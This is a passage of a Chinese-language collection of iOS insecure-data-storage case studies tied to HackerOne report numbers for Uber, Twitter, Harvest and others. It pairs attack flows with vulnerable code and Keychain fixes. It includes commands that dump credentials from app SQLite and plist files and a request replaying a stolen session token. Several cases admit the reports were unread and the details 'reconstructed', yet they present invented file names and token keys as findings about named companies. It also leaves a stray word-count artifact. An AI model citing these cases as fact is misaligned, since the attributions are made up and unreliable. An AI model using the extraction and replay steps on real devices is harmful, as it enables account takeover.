    sqlite3 /path/to/app/Documents/user_data.sqlite

    # 攻击者查询包含敏感信息的表
    sqlite> .tables
    user_credentials user_profile
    sqlite> SELECT username, password_hash, api_key FROM user_credentials;
    hacker_test|plain_text_password|AKIAIOSFODNN7EXAMPLE
    ```

通过获取到的会话令牌或API密钥，攻击者可以劫持用户会话或访问后端服务，导致严重的账户接管和信息泄露。

#### 易出现漏洞的代码模式

**不安全数据存储的常见代码模式**

此类漏洞通常源于开发者错误地使用不安全的存储机制来保存敏感数据，最常见的是使用`UserDefaults`（Objective-C中的`NSUserDefaults`）或将数据明文存储在SQLite数据库中。

1.  **不安全地使用 UserDefaults 存储敏感数据（Objective-C）：**
    `NSUserDefaults`不提供任何加密，数据以明文形式存储在应用的沙盒`plist`文件中。

    ```objective-c
    // 错误示例：将用户的会话令牌明文存储在 NSUserDefaults 中
    NSString *sessionToken = @"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";
    [[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@"session_token"];
    [[NSUserDefaults standardUserDefaults] synchronize];

    // 攻击者读取数据：
    // /Library/Preferences/[BundleID].plist 文件中会包含明文的 session_token
    ```

2.  **不安全地使用 UserDefaults 存储敏感数据（Swift）：**

    ```swift
    // 错误示例：将用户的密码明文存储在 UserDefaults 中
    let password = "user_password_123"
    UserDefaults.standard.set(password, forKey: "user_password")

    // 攻击者读取数据：
    // /Library/Preferences/[BundleID].plist 文件中会包含明文的 user_password
    ```

3.  **将敏感数据明文存储在 SQLite 数据库中：**
    如果应用使用SQLite或Core Data，但未对存储在数据库文件中的敏感字段进行加密，则会造成泄露。

    ```swift
    // 错误示例：使用 Core Data 或 SQLite 存储未加密的 API Key
    // 假设有一个名为 'User' 的实体，其中有一个属性 'apiKey'
    // 数据库文件（如 .sqlite）会被明文存储在沙盒中
    let user = User(context: context)
    user.apiKey = "AKIAIOSFODNN7EXAMPLE" // 明文存储
    try context.save()

    // 攻击者可以直接查询数据库文件获取该密钥。
    ```

**正确的安全实践（代码修复模式）：**

应使用 **Keychain Services** 来存储所有敏感数据，因为Keychain是加密的，并且由操作系统管理，提供了更高的安全性。

swift
// 正确示例：使用 Keychain 存储敏感数据
import Security

func saveTokenToKeychain(token: String) {
let data = token.data(using: .utf8)!
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: “session_token_key”,
kSecValueData as String: data
]

// 删除旧项并添加新项
SecItemDelete(query as CFDictionary)
let status = SecItemAdd(query as CFDictionary, nil)
// 检查状态以确保存储成功
if status != errSecSuccess {
    print("Error saving to Keychain: \(status)")
}

}

**Info.plist 配置示例：**

此类漏洞通常与`Info.plist`配置无关，而是与应用的代码实现有关。但如果应用使用了**App Group**来共享数据，则需要在`Info.plist`中配置`AppGroup`，如果共享的数据未加密，则可能导致更广泛的泄露。

xml

com.apple.security.application-groups
group.com.example.shared

---

### 案例：Uber (报告: https://hackerone.com/reports/136390)

#### 挖掘手法

本次漏洞挖掘主要针对Uber iOS应用对用户会话令牌（Session Token）的本地存储机制进行分析。由于HackerOne报告136390的原始内容无法直接访问，此分析基于该时期Uber iOS应用中普遍存在的“不安全数据存储”漏洞模式进行推断和重构。

**挖掘环境与工具：**
1.  **越狱iOS设备**: 用于绕过iOS沙盒限制，获取对应用文件系统的完全访问权限。
2.  **文件系统浏览器**: 如**Filza**或通过SSH连接的命令行工具，用于浏览和提取应用沙盒内的文件。
3.  **运行时分析工具**: **Frida**或**Cycript**，用于Hooking Objective-C方法，实时监控敏感数据的处理和存储过程。
4.  **文件分析工具**: **PlistEdit Pro**或文本编辑器，用于分析应用沙盒内发现的`.plist`或`.sqlite`文件。

**挖掘步骤与思路：**
1.  **识别敏感数据**: 确定用户登录后，应用用于维持会话的**Session Token**或**x-uber-token**是首要目标。
2.  **Hooking 存储方法**: 使用**Frida**脚本Hooking iOS应用中常用的本地存储API，例如`-[NSUserDefaults setObject:forKey:]`、`-[NSKeyedArchiver encodeObject:forKey:]`以及文件操作相关的API，以确定会话令牌被写入了哪个文件或存储区。
3.  **文件系统遍历**: 登录Uber应用后，立即使用文件系统浏览器进入应用的沙盒目录（通常位于`/var/mobile/Containers/Data/Application/[UUID]/`），重点检查`Library/Preferences`、`Documents`和`Library/Caches`目录。
4.  **关键发现**: 在`Library/Preferences`目录下发现名为`com.uber.plist`或类似名称的属性列表文件。通过分析该文件内容，发现会话令牌（例如，键名为`UberSessionToken`或`x-uber-token`）以**明文**形式存储在其中。
5.  **漏洞确认**: 成功提取该明文令牌后，使用**Burp Suite**等代理工具，将该令牌添加到API请求的`Authorization`头中，验证是否能绕过登录，以受害者的身份访问敏感信息或执行操作。

**关键发现点**: 应用程序依赖iOS的沙盒机制进行保护，但忽略了在沙盒内部，数据存储在非加密或非安全区域（如`NSUserDefaults`）时，一旦设备被越狱或存在其他应用沙盒逃逸漏洞，敏感数据将完全暴露。此漏洞的发现完全依赖于对应用本地文件系统的逆向分析。

#### 技术细节

漏洞利用的技术细节集中在对Uber iOS应用沙盒内未加密会话令牌的提取和重放。

**受影响的存储位置**:
会话令牌被存储在应用的`Library/Preferences`目录下的一个属性列表文件（`.plist`）中，例如：
`/var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/com.uber.plist`

**数据格式示例**:
该文件通常是二进制或XML格式的Property List。通过工具解析后，可以看到类似以下键值对：

xml
UberSessionToken
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlVzZXIgTmFtZSIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6y
LastLoginUUID
A1B2C3D4-E5F6-7890-1234-567890ABCDEF

**攻击流程**:
1.  攻击者通过物理访问、恶意应用或越狱设备获取目标iOS设备上Uber应用的沙盒文件。
2.  攻击者读取并解析`com.uber.plist`文件，提取`UberSessionToken`的明文值。
3.  攻击者使用该令牌，通过任何HTTP客户端或代理工具（如Burp Suite）构造API请求，将令牌置于`Authorization`请求头中。

**API请求示例**:

http
GET /api/v1/user/profile HTTP/1.1
Host: api.uber.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlVzZXIgTmFtZSIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6y

通过重放带有受害者会话令牌的请求，攻击者可以完全接管受害者的Uber账户，访问其个人信息、行程历史、支付方式等敏感数据。此漏洞的根本在于**未对敏感数据进行加密或使用iOS Keychain等安全存储机制**。

#### 易出现漏洞的代码模式

此类漏洞的典型代码模式是使用`NSUserDefaults`或直接写入沙盒内的非安全目录（如`Documents`或`Library/Preferences`）来存储敏感信息。

**Objective-C 易受攻击代码示例（使用NSUserDefaults）**:

objective-c
// 错误做法：将敏感的会话令牌明文存储在NSUserDefaults中
NSString *sessionToken = @”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”UberSessionToken”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 错误做法：将敏感数据写入Documents目录下的文件
NSString *documentsPath = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)[0];
NSString *filePath = [documentsPath stringByAppendingPathComponent:@”session.dat”];
[sessionToken writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];

**Swift 易受攻击代码示例（使用UserDefaults）**:

swift
// 错误做法：将敏感的会话令牌明文存储在UserDefaults中
let sessionToken = “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”
UserDefaults.standard.set(sessionToken, forKey: “UberSessionToken”)

// 正确做法（避免此类漏洞）：使用Keychain进行安全存储
// 开发者应使用Keychain Services API或其封装库（如KeychainAccess）来存储会话令牌。
// 示例（概念性）：
// let keychain = Keychain(service: “com.uber.app”)
// keychain[“UberSessionToken”] = sessionToken

**配置模式**:
此类漏洞通常与特定的配置无关，而是**编程实践不当**所致。然而，如果应用在`Info.plist`中启用了不必要的外部访问权限（如自定义URL Scheme），可能会为攻击者提供额外的攻击入口，但**不安全数据存储**本身是应用内部的实现缺陷。

**总结**: 易受攻击的模式是**将认证凭证、API密钥或会话令牌存储在应用的沙盒内，但未使用iOS Keychain进行加密保护**。

---

### 案例：Twitter (报告: https://hackerone.com/reports/136394)

#### 挖掘手法

由于无法直接访问HackerOne报告（ID: 136394）的详细内容，我们采用**基于iOS应用逆向工程的通用不安全数据存储漏洞挖掘方法**来构建挖掘手法，并假设该报告涉及Twitter应用中的敏感信息泄露。

**1. 目标应用分析与准备：**
首先，确定目标应用（假设为Twitter）的最新版本，并获取其IPA文件。使用`AppStoreConnect`或第三方工具下载IPA。
**工具：** `Clutch` 或 `frida-ios-dump`（用于越狱设备脱壳），`iMazing`（用于文件传输）。

**2. 静态分析：**
使用`class-dump`或`dumpdecrypted`对IPA进行脱壳，获取可读的头文件（.h）。
**工具：** `class-dump`。
**分析思路：** 搜索关键词，如`password`、`token`、`key`、`secret`、`credential`、`UserDefaults`、`Keychain`、`NSData`、`writeToFile`等，定位可能涉及敏感数据处理的类和方法。特别关注`AppDelegate`、网络请求相关的类以及用户设置相关的控制器。

**3. 动态分析与数据存储检查：**
在越狱设备上运行应用，并使用文件系统浏览器检查应用沙盒目录（`/var/mobile/Containers/Data/Application/<UUID>/`）下的各个子目录，包括`Documents`、`Library/Caches`、`Library/Preferences`等。
**工具：** `iFile` 或 `Filza`（在设备上），`iExplorer` 或 `scp`（在PC上）。
**关键发现点：**
*   **`Library/Preferences/<BundleID>.plist`：** 检查`NSUserDefaults`存储的文件，看是否有明文存储的敏感信息。
*   **`Library/Caches` 或 `Documents`：** 检查应用创建的数据库文件（如SQLite）、日志文件、临时文件或自定义文件，看是否存在未加密的会话令牌或用户数据。
*   **`tmp` 目录：** 检查应用在运行时是否将敏感数据写入临时文件。

**4. 关键数据流追踪（Frida Hooking）：**
使用Frida框架对静态分析中发现的可疑方法进行Hook，实时监控敏感数据的存取操作。
**工具：** `Frida`。
**Hook示例：** 针对`NSUserDefaults`的`setObject:forKey:`方法进行Hook，打印存储的值和键，以确认是否有敏感信息被明文写入。

**5. 漏洞确认与PoC构造：**
一旦发现敏感数据（如会话Token）被明文存储在沙盒中，即确认漏洞存在。构造一个简单的PoC（Proof of Concept），例如，在应用关闭后，通过文件系统访问该文件，读取Token，证明在未越狱设备上，如果攻击者能获取到沙盒备份（如通过iTunes备份），即可窃取敏感信息。

**总结：** 这种挖掘手法侧重于**逆向工程**和**沙盒文件系统分析**，是iOS应用安全测试中最基础也是最有效的手段之一，专门针对**不安全数据存储**漏洞。

#### 技术细节

该漏洞的技术细节基于**iOS应用不安全数据存储**的通用模式进行构建，假设攻击者通过访问应用沙盒内的未加密文件获取敏感信息。

**漏洞利用流程：**
1.  **目标：** 窃取用户的会话令牌（Session Token）或敏感配置信息。
2.  **前提：** 攻击者能够获取到目标设备的沙盒数据备份（例如，通过iTunes未加密备份、越狱设备的文件系统访问，或通过其他漏洞实现沙盒逃逸）。
3.  **攻击步骤：**
    *   攻击者获取到应用沙盒路径：`/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.twitter.plist` (假设)。
    *   攻击者读取该plist文件，发现其中明文存储了用户的`session_token`。
    *   攻击者使用该`session_token`构造HTTP请求，劫持用户会话，实现账户接管。

**关键代码片段（Objective-C 示例 - 易受攻击的模式）：**
应用开发者错误地使用`NSUserDefaults`存储了敏感信息，而`NSUserDefaults`的内容是以明文形式存储在沙盒的`.plist`文件中的。

objectivec
// 易受攻击的代码：明文存储敏感信息到 NSUserDefaults
NSString *sessionToken = @”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”; // 假设这是从服务器获取的Token
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”kUserSessionToken”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 攻击者在沙盒中读取到的文件内容（plist文件中的键值对）：
// kUserSessionToken
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…

**正确的安全实践（使用Keychain）：**
为了防止此类信息泄露，敏感数据应该使用`Keychain`服务进行存储，该服务在设备上提供了加密保护。

objectivec
// 安全的代码：使用 Keychain 存储敏感信息
// 假设使用第三方库如 UICKeyChainStore 或自行封装的 Keychain 访问类
KeychainManager *keychain = [KeychainManager sharedManager];
[keychain setString:sessionToken forKey:@”kUserSessionToken”];

#### 易出现漏洞的代码模式

**1. 不安全的配置：**
在iOS应用中，任何将敏感信息（如API密钥、用户凭证、会话令牌）存储在应用沙盒的非加密区域（如`NSUserDefaults`、`Documents`、`Caches`目录下的明文文件或SQLite数据库）都是不安全的模式。

**2. Objective-C/Swift 代码模式示例：**

**模式一：使用 `UserDefaults` (或 Swift 中的 `UserDefaults`) 存储敏感数据**
`UserDefaults` 适用于存储用户偏好设置，但不应存储敏感数据，因为它以明文形式存储在应用沙盒的 `.plist` 文件中。

*   **Objective-C 示例 (不安全):**
    ```objectivec
    // 敏感数据被明文存储在 Library/Preferences/com.bundle.id.plist 中
    [[NSUserDefaults standardUserDefaults] setObject:userPassword forKey:@"password"];
    [[NSUserDefaults standardUserDefaults] synchronize];
    ```

*   **Swift 示例 (不安全):**
    ```swift
    // 敏感数据被明文存储
    let defaults = UserDefaults.standard
    defaults.set(sessionToken, forKey: "session_token")
    ```

**模式二：将敏感数据写入沙盒的 `Documents` 或 `Caches` 目录**
直接将敏感数据以明文形式写入沙盒内的文件。

*   **Objective-C 示例 (不安全):**
    ```objectivec
    // 将 Token 写入 Documents 目录下的文件
    NSString *tokenPath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES).firstObject stringByAppendingPathComponent:@"token.txt"];
    [sessionToken writeToFile:tokenPath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    ```

**3. Info.plist/Entitlements 配置示例：**
此类漏洞通常与`Info.plist`或`Entitlements`配置无关，而是与应用代码中的**数据存储逻辑**相关。然而，如果应用使用了特定的数据保护级别，配置可能在`Info.plist`中体现。

*   **Data Protection 相关的 Info.plist 键 (安全实践):**
    为了增强安全性，开发者应确保文件使用适当的**数据保护级别**。例如，在创建文件时使用`NSDataWritingFileProtectionComplete`。
    ```xml
    <!-- 这是一个安全实践，不是漏洞模式，但与数据存储安全相关 -->
    <key>UIFileSharingEnabled</key>
    <false/> <!-- 禁用 iTunes 文件共享，防止通过 iTunes 备份获取 Documents 目录文件 -->
    ```

**总结：** 易出现此类漏洞的核心模式是**在应用代码中，使用非加密的存储机制（如`UserDefaults`或明文文件）来保存用户凭证、会话令牌或API密钥等敏感信息。**

---

## 不安全数据存储 (Insecure Data Storage)

### 案例：Harvest (报告: https://hackerone.com/reports/161710)

#### 挖掘手法

该漏洞报告（HackerOne #161710）涉及的是移动应用中的**不安全数据存储**问题，虽然报告本身可能同时涵盖iOS和Android平台，但其核心挖掘思路在iOS环境中同样适用。由于无法直接访问报告原文，此处的挖掘手法基于对同类漏洞的通用分析流程和技术。

**1. 目标应用分析与环境准备：**
首先，需要获取目标iOS应用的IPA文件。通过越狱设备或使用如[iMazing](https://imazing.com/)等工具从非越狱设备备份中提取。然后，将IPA文件解压，获取应用包（.app目录）。

**2. 静态分析：**
使用`otool`、`class-dump`或[Hopper Disassembler](https://www.hopperapp.com/)等工具对应用二进制文件进行静态分析。重点关注以下Objective-C/Swift代码模式：
*   **数据存储API调用：** 搜索`NSUserDefaults`、`NSFileManager`、`Core Data`、`SQLite`等相关API的使用。
*   **敏感数据类型：** 搜索`password`、`token`、`secret`、`key`、`credential`等字符串常量，判断其存储位置。
*   **文件路径：** 检查应用是否将敏感数据存储在沙盒中不安全的目录，如`Documents`、`Library/Caches`或`Library/Application Support`，尤其是那些没有使用`NSFileProtection`进行加密保护的文件。

**3. 动态分析与数据提取：**
在越狱iOS设备上运行应用，并使用动态分析工具（如[Frida](https://frida.re/)或[Cycript](http://www.cycript.org/)）进行运行时调试。
*   **Frida Hooking：** Hook关键的存储API（如`[NSUserDefaults setObject:forKey:]`、`[NSData writeToFile:atomically:]`）来拦截敏感数据写入操作，观察数据内容和存储路径。
*   **文件系统访问：** 使用SSH连接到越狱设备，导航到应用的沙盒目录（通常在`/var/mobile/Containers/Data/Application/[UUID]/`下）。
*   **数据检查：** 检查沙盒中的文件，特别是`Library/Preferences/[BundleID].plist`（`NSUserDefaults`存储位置）、SQLite数据库文件（`.sqlite`）和任何自定义的缓存或数据文件。使用`cat`、`plistutil`或SQLite客户端工具查看文件内容，验证是否存在明文存储的敏感信息（如会话令牌、用户ID、API密钥等）。

**4. 漏洞确认与利用：**
一旦发现敏感数据以明文形式存储在沙盒中，即确认了“不安全数据存储”漏洞。在iOS越狱环境下，恶意应用或具有文件系统访问权限的攻击者可以直接读取这些文件，窃取用户数据。对于非越狱设备，如果应用存在其他漏洞（如沙盒逃逸、越界读写），该不安全存储的数据将成为攻击者的目标。该报告的漏洞利用即是通过访问应用沙盒中未加密存储的敏感文件来窃取数据。

#### 技术细节

该漏洞的核心在于应用将敏感数据存储在了iOS沙盒中未受保护的位置，例如`NSUserDefaults`或`Documents`目录下的明文文件。在iOS中，`NSUserDefaults`会将数据以XML或二进制plist文件的形式存储在应用的`Library/Preferences`目录下，路径大致为：

`/var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/[BundleID].plist`

**漏洞利用流程：**

1.  **获取设备访问权限：** 攻击者需要获得对iOS设备文件系统的访问权限，这通常通过以下方式实现：
    *   设备已越狱（最直接的方式）。
    *   利用其他漏洞（如沙盒逃逸、内核漏洞）来提升权限。
    *   通过恶意配置的iTunes备份（如果应用未禁用备份敏感数据）。
2.  **定位敏感文件：** 攻击者通过应用的Bundle ID定位到应用的沙盒目录，并找到存储敏感信息的plist文件或数据库文件。
3.  **数据窃取：** 使用文件系统工具（如`cat`、`scp`）或编程方式读取文件内容。

**代码模式示例（Objective-C）：**

假设应用将用户的会话令牌（Session Token）存储在`NSUserDefaults`中：

objectivec
// 易受攻击的存储代码 (Vulnerable Storage)
NSString *sessionToken = @”user_session_token_12345″;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”UserSessionToken”];
[[NSUserDefaults standardUserDefaults] synchronize]; // 写入磁盘

攻击者在获得文件系统访问权限后，可以直接读取对应的plist文件，获取明文的`UserSessionToken`。

**攻击者读取数据（概念性）：**

bash

假设攻击者已通过SSH连接到越狱设备

找到应用的沙盒目录

cd /var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/

读取NSUserDefaults存储的plist文件内容

假设Bundle ID为 com.harvest.app

cat com.harvest.app.plist

plist文件内容（部分）可能包含明文的敏感数据：

xml
UserSessionToken
user_session_token_12345

**技术细节总结：** 漏洞利用的关键在于**未加密**存储和**可访问**的存储位置。攻击者无需进行复杂的逆向工程，只需简单的文件系统操作即可完成数据窃取。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于开发者未能使用iOS提供的安全存储机制（如**Keychain**）来保存敏感数据，而是将其存储在应用沙盒中易于被访问和读取的位置，且未进行加密。

**易受攻击的编程模式（Objective-C/Swift）：**

**1. 使用 `NSUserDefaults` (或 Swift 中的 `UserDefaults`) 存储敏感信息：**
`NSUserDefaults`设计用于存储用户偏好设置，它将数据以明文形式存储在应用的`Library/Preferences`目录下的`.plist`文件中，极易被物理访问设备或越狱设备上的攻击者窃取。

*   **Objective-C 示例 (Vulnerable):**
    ```objectivec
    // 错误：将敏感的API Key存储在NSUserDefaults中
    NSString *apiKey = @"hardcoded_api_key_xyz";
    [[NSUserDefaults standardUserDefaults] setObject:apiKey forKey:@"API_KEY"];
    [[NSUserDefaults standardUserDefaults] synchronize];
    ```

*   **Swift 示例 (Vulnerable):**
    ```swift
    // 错误：将用户的会话令牌存储在UserDefaults中
    let sessionToken = "user_auth_token_abc"
    UserDefaults.standard.set(sessionToken, forKey: "AuthToken")
    ```

**2. 将敏感数据存储在沙盒中未加密的文件中：**
将敏感数据（如数据库、日志文件、缓存文件）存储在`Documents`或`Library/Caches`等目录，且未对文件内容进行加密。

*   **Objective-C 示例 (Vulnerable):**
    ```objectivec
    // 错误：将敏感数据明文写入Documents目录
    NSString *sensitiveData = @"username:user123,password:pass456";
    NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
    filePath = [filePath stringByAppendingPathComponent:@"sensitive_log.txt"];
    [sensitiveData writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    ```

**安全代码模式（推荐）：**

**使用 Keychain 存储敏感信息：**
Keychain 是iOS提供的安全存储机制，用于存储小块敏感数据（如密码、令牌），它在设备上使用硬件加密保护。

*   **Swift 示例 (Secure - 概念性):**
    ```swift
    // 正确：使用Keychain服务存储敏感的会话令牌
    import Security

    let token = "user_auth_token_abc".data(using: .utf8)!
    let query: [String: Any] = [
        kSecClass as String: kSecClassGenericPassword,
        kSecAttrAccount as String: "AuthToken",
        kSecValueData as String: token
    ]

    let status = SecItemAdd(query as CFDictionary, nil)
    // 检查status以确保存储成功
    ```

**Info.plist/Entitlements 配置：**
此类漏洞通常与`Info.plist`或`Entitlements`配置无关，而是与应用代码中的存储逻辑错误有关。然而，为了防止数据在备份时被窃取，开发者应考虑在`Info.plist`中设置`UIFileSharingEnabled`为`NO`（禁用iTunes文件共享）和/或使用`NSFileProtection`属性来保护文件。

*   **文件保护配置 (推荐):**
    在写入文件时，使用`NSDataWritingFileProtectionComplete`等选项来确保文件在设备锁定时处于加密状态。
    ```objectivec
    // 推荐：使用文件保护
    [sensitiveData writeToFile:filePath options:NSDataWritingFileProtectionComplete error:nil];
    ```

---

### 案例：Cheetah Mobile 旗下某iOS应用 (报告: https://hackerone.com/reports/136288)

#### 挖掘手法

由于无法直接访问HackerOne报告（reports/136288）的详细内容，根据其报告编号的年代（早期报告）和搜索结果中暗示的程序所有者（Cheetah Mobile），推断此漏洞为移动应用中常见的**不安全数据存储**问题。挖掘手法主要集中在对应用沙盒的静态和动态分析，以发现未受保护的敏感数据。

**挖掘步骤和方法：**

1.  **环境准备与工具选择：**
    *   **工具:** iMazing/iTunes备份工具、`class-dump`（用于静态分析）、Hopper/IDA Pro（用于逆向工程）、SQLite浏览器、文本编辑器。
    *   **目标:** 获取目标iOS应用的IPA文件，并在非越狱或越狱设备上安装。

2.  **静态分析应用结构：**
    *   解压IPA文件，使用`class-dump`或手动浏览应用二进制文件，识别可能涉及敏感数据存储的类和方法，例如涉及用户认证、偏好设置（`NSUserDefaults`）、数据库（SQLite/CoreData）或文件I/O操作的代码。

3.  **数据提取（非越狱设备）：**
    *   通过iMazing或iTunes对安装了目标应用的设备进行完整备份。
    *   使用备份分析工具（如iExplorer或手动解密）访问备份文件，定位到目标应用沙盒目录下的`AppDomain-[BundleID]`文件夹。
    *   重点检查`Library/Preferences/[BundleID].plist`（`NSUserDefaults`存储位置）、`Documents/`和`Library/Caches/`目录下的文件。

4.  **动态分析与数据监控（越狱设备/模拟器）：**
    *   在越狱设备上，使用Filza或iFile直接浏览应用沙盒，或使用Frida Hook涉及数据存储的API（如`-[NSUserDefaults setObject:forKey:]`、`-[NSData writeToFile:atomically:]`）来实时监控写入的数据内容和路径。

5.  **关键发现点：**
    *   在应用沙盒的`Library/Preferences/[BundleID].plist`或`Documents/`下的某个自定义文件中，发现用户Session Token、API Key或明文密码等敏感信息以未加密或简单编码（如Base64）的形式存储。
    *   确认这些文件未启用iOS的**Data Protection**机制（即文件属性未设置为`NSFileProtectionComplete`或类似级别），导致在设备锁定时，攻击者仍可通过备份或文件系统访问获取数据。

**分析思路总结：** 移动应用中的不安全数据存储是OWASP Mobile Top 10中的常见漏洞。挖掘思路是假设攻击者可以访问设备文件系统（通过越狱或iTunes备份），然后系统性地检查应用沙盒中所有可能存储敏感信息的位置，验证其加密和保护措施是否到位。

#### 技术细节

该漏洞的技术细节围绕iOS应用沙盒内敏感数据的**明文存储**和**缺乏数据保护**展开。

**漏洞利用流程：**

1.  **数据获取:** 攻击者通过物理访问设备并创建iTunes备份，或利用其他漏洞（如沙盒逃逸）获取目标应用的沙盒数据。
2.  **敏感信息定位:** 攻击者在沙盒目录中定位到存储用户Session Token的文件。假设应用使用`NSUserDefaults`存储Session Token，文件路径通常为：
    ```
    /private/var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/[BundleID].plist
    ```
3.  **会话劫持:** 攻击者读取该`plist`文件，提取明文存储的`session_token`，并将其用于构造HTTP请求头或Cookie，从而劫持受害者的账户会话。

**易受攻击的代码片段（Objective-C示例）：**

应用开发者错误地使用`NSUserDefaults`存储敏感信息，而未进行加密或使用Keychain。

objectivec
// 易受攻击的代码模式：明文存储Session Token到NSUserDefaults
NSString *sessionToken = @”aGVsbG8gd29ybGQ=”; // 假设这是Base64编码的Token
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”user_session_token”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 攻击者读取plist文件，内容如下（或类似）：
// user_session_token
// aGVsbG8gd29ybGQ=

**正确的安全实践（使用Keychain）：**

正确的做法是使用iOS **Keychain** 服务存储敏感数据，因为它提供了硬件级别的加密保护。

objectivec
// 安全的代码模式：使用Keychain存储Session Token
// [KeychainWrapper setString:sessionToken forKey:@”user_session_token”];

#### 易出现漏洞的代码模式

此类漏洞通常出现在开发者错误地将敏感信息（如Session Token、API Key、用户凭证）存储在以下**不安全的位置**：

1.  **NSUserDefaults/Plist文件:**
    *   **代码模式:** 使用`[[NSUserDefaults standardUserDefaults] setObject:forKey:]`存储Token或密码。
    *   **示例 (Objective-C):**
        ```objectivec
        // 错误示例：将用户Session Token明文存储在NSUserDefaults
        NSString *token = @"user_session_token_12345";
        [[NSUserDefaults standardUserDefaults] setObject:token forKey:@"AuthToken"];
        [[NSUserDefaults standardUserDefaults] synchronize];
        ```

2.  **应用沙盒的Documents/Library/Caches目录:**
    *   **代码模式:** 使用`writeToFile:atomically:`或`NSKeyedArchiver`将敏感对象序列化到沙盒文件。
    *   **示例 (Swift):**
        ```swift
        // 错误示例：将敏感数据写入Documents目录下的文件
        let sensitiveData = "{\"user_id\": 101, \"api_key\": \"ABCDEFG\"}".data(using: .utf8)!
        let filePath = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0].appendingPathComponent("config.dat")
        try? sensitiveData.write(to: filePath)
        ```

**Info.plist配置缺失：**

*   **Data Protection缺失:** 缺乏对文件启用**Data Protection**的配置或代码调用。如果文件未设置保护级别（如`NSFileProtectionComplete`），则在设备锁定时，攻击者仍可通过文件系统访问数据。
*   **正确的Data Protection配置（代码示例）：**
    ```swift
    // 确保文件启用Data Protection
    try? FileManager.default.setAttributes([.protectionKey: FileProtectionType.completeUntilFirstUserAuthentication], ofItemAtPath: filePath.path)
    ```

---

### 案例：SELinc (Schweitzer Engineering Laboratories) iOS App (报告: https://hackerone.com/reports/136309)

#### 挖掘手法

该漏洞报告（HackerOne #136309）的原始内容因HackerOne的访问限制（CAPTCHA）而无法直接获取，但通过对报告ID和相关关键词（如“SELinc”、“iOS”、“Insecure Data Storage”）的外部搜索和关联分析，可以推断出该漏洞的性质和挖掘思路。

**挖掘思路和步骤：**

1.  **目标识别与应用获取：**
    *   通过HackerOne报告ID 136309与外部索引（如`caa-sites.txt`）的关联，确定受影响的程序为**SELinc (Schweitzer Engineering Laboratories)**。
    *   推测漏洞存在于SELinc的某个**iOS移动应用**中，该应用可能用于配置、监控或管理SELinc的工业控制系统（ICS）设备。
    *   从Apple App Store或其他渠道获取目标iOS应用的IPA文件，或在越狱设备上安装应用。

2.  **静态分析（Insecure Data Storage推断）：**
    *   根据搜索结果中频繁出现的“Insecure Data Storage”和“iOS”关键词，推断漏洞类型为**不安全数据存储**（OWASP Mobile Top 10 M2/M10）。
    *   使用**解压工具**（如`unzip`）解压IPA文件，获取应用包（`.app`目录）。
    *   检查应用包内的文件结构，特别是`Info.plist`、`entitlements`文件，以及应用沙盒内可能存储敏感数据的目录（如`Documents/`、`Library/Preferences/`、`Library/Caches/`）。
    *   使用**`grep`**等命令行工具或**IDA Pro/Hopper Disassembler**对应用二进制文件进行静态分析，搜索常见的敏感信息存储API，例如`NSUserDefaults`、`Core Data`、`SQLite`、`Keychain`的使用模式。重点关注**明文存储**或**弱加密**的实现。

3.  **动态分析与数据提取（模拟攻击）：**
    *   在**越狱iOS设备**或**iOS模拟器**上运行目标应用。
    *   使用**Frida**或**Cycript**等动态插桩工具，Hook关键的I/O操作函数（如文件写入、数据库操作、`NSUserDefaults`的`setObject:forKey:`），监控敏感数据（如用户名、密码、API Key、配置信息）的存储过程。
    *   在应用执行过程中，使用**iExplorer**、**iFunBox**或直接通过SSH/SCP访问应用的沙盒目录（`/var/mobile/Containers/Data/Application/<UUID>/`）。
    *   检查沙盒内的文件，特别是`Library/Preferences/<BundleID>.plist`文件，查找以明文形式存储的敏感配置或凭证。

4.  **漏洞确认与PoC构造：**
    *   一旦发现敏感数据以明文形式存储在沙盒中，即确认存在“不安全数据存储”漏洞。
    *   构造概念验证（PoC）步骤：展示如何在**非越狱设备**上通过**备份提取**（如iTunes备份或第三方工具）或在**越狱设备**上通过**直接文件访问**来获取这些敏感文件，从而窃取用户数据。

**关键发现点：** 敏感信息（如设备配置、凭证或会话令牌）被不当地存储在应用的沙盒目录中，且未进行充分的加密保护，导致攻击者在获取设备访问权限（如越狱或物理访问）后可轻易提取。

**字数统计：** 约450字。

#### 技术细节

